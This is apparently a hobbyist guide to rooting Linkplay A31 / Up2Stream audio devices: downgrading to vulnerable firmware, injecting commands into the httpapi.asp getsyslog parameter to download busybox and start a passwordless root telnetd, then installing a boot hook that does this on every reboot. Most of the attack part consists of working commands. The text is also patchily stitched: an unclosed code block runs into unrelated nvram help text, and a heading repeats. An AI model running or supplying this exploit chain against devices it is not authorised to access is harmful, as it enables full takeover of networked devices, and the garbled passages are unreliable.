## Downgrade Firmware
The first version on my devices was 4.2.8020 from 2020/02/20 (20th of Feb 2020). That version still has some vulnerabilites to be able to get onto the CLI with telnet by pushing a single command to these devices. Although it is good when the vendor is providing upgrades with additional feature and security fixes, I'd still like to be able to "hack" into the CLI. Therefore I had to downgrade the firmware.

## Install Persistant Hook
When the device reboots, any changes in ramfs are lost, however there is a way to install a script or command so that it survives a reboot. [Install Persistant Hook](/persistant-hook.md)

The tool **_"busybox"_** is like a swiss army knife and combines a lot of CLI commands in a single binary file. That file was stripped down already in my version and does not include a telnetd anymore. Therefore you have to get a full version from somewhere.
A version of busybox is provided here, but there is an OpenWRT archive where you can get precompiled binaries for almost all utilities you may need. See section **_Hardware and Firmware_** for more information. On my web server (10.1.1.22) I've created subdirectory ***/a31/bin*** and have copied the busybox binary to that directory
You may also redirect output and error output for telnetd:
```
curl "http://10.1.1.58/httpapi.asp?command=getsyslog:ip:10.1.1.22/index.html;mkdir+/tmp/bin;wget+-O+/tmp/bin/busybox+-T+5+http://10.1.1.22/a31/bin/busybox+-q;chmod+777+/tmp/bin/busybox;/tmp/bin/busybox+telnetd+-l/bin/ash+>+/tmp/web/cmd.out+2>+/tmp/web/cmd.err;"

<Platform>:
2860 - rt2860 station or the first Wi-Fi interface
rtdev - intelligent nic or the second Wi-Fi interface (not available for Linkplay A31)
<File>: File name for renew command
Example:
a. nvram_get 2860 SSID /* get the SSID */
b. nvram_set 2860 SSID ralink /* set the SSID to ralink */
c. ralink_init gen 2860 /* generate the RT2860 .dat file from NVRAM */

# Install Persistant Hook
When the device reboots, any changes in ramfs are lost, but the device is using flash with squashfs and jffs2 file systems. I have not discovered how to modfiy and upload an image to squashfs, but with jffs2 there is a way to install a hook.
Below is an output of mount command (including modification of /etc_ro/web/cgi-bin directory, but that's not required to install a hook) and ***cat /proc/mtd*** output:
```
# mount
rootfs on / type rootfs (rw)

The mtd9 device named "user2" is not erased at a reboot, because it contains play lists. It is mounted as /vendor and a hook can be installed in ***/vendor/user*** directory as described below. On the Up2Stream Pro device that I own that directory was already present and a script called ***user.sh*** was located in that directory.
> **Note:**
> Neither that directory nor the **user.sh*** script were installed on my Up2Stream Amp device by default. Both devices have the same software version 4.2.8020 from 2020/02/20 (20th of Feb 2020) and were downgraded from v4.6.415145, release date 2022/04/27.
Here's the file from the device where the script was already present (used to start a daemon called ***socket***):
```
# cat user.sh
#!/bin/sh
echo "runing custom's app socket.............."
sleep 5
chmod 777 /vendor/user/socket
sn=`ps -ef | grep /vendor/user/socket | grep -v grep |wc -l`
echo $sn
if [ $sn -eq 0 ]; then
/vendor/user/socket &
fi
# ######### additional code to install telnetd and more #############
# get telnetd from full version of busybox and start in background
mkdir /tmp/bin
wget -O /tmp/bin/busybox -T 5 http://10.1.1.22/a31/bin/busybox -q
chmod 555 /tmp/bin/busybox
ln -s /tmp/bin/busybox /tmp/bin/telnetd
sn=`ps | grep busybox | wc -l`
if [ $sn -eq 1 ]; then
killall busybox
fi
sn=`ps | grep telnetd | wc -l`
if [ $sn -eq 1 ]; then
killall telnetd
fi
/tmp/bin/telnetd telnetd -l/bin/ash &
# shut down WiFi
ifconfig apcli0 down
ifconfig ra0 down
sleep 60
ifconfig apcli0 down
echo "WiFi disabled!"
# Uncomment to disable sleep after 15 minutes
#while true; do sleep 60; echo 'AXX+MUT+000' >/dev/ttyS0; done &
```
For testing purpose, you may ***reboot*** and ***telnet*** to the device afterwards.
Here's the file from the device where the script was NOT present:
```
mkdir /vendor/user
cat <<\EOF > /vendor/user/user.sh
#!/bin/sh
# get telnetd from full version of busybox and start in background
wget -O /tmp/bin/busybox -T 5 http://10.1.1.22/a31/bin/busybox -q
chmod 777 /tmp/bin/busybox
/tmp/bin/busybox telnetd -l/bin/ash >/tmp/web/busybox.out 2>/tmp/web/busybox.err &
# shut down WiFi
ifconfig ra0 down
ifconfig apcli0 down
# Uncomment to disable sleep after 15 minutes
#while true; do sleep 60; echo 'AXX+MUT+000' >/dev/ttyS0; done &
EOF
chmod 755 /vendor/user/user.sh
cd /vendor/user
ls -l
```
So far, the device fetches the full version of busybook after each reboot. With ***df*** command you can verify the free space on each of the file systems.
